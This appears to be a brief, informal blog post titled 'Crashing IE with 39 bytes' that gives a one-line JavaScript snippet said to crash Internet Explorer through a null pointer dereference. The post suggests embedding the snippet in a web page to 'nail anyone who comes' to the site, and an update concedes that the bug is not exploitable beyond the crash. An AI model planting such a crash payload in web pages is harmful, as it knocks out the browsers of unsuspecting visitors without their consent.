Paste this into your IE address bar:

javascript:for(x in document.write)f(x)

This can also be placed inside a block and nail anyone who comes to a website.

Update: Null pointer dereferences can't really be 0wnabl3. Oh well.

Crashing IE with 39 bytes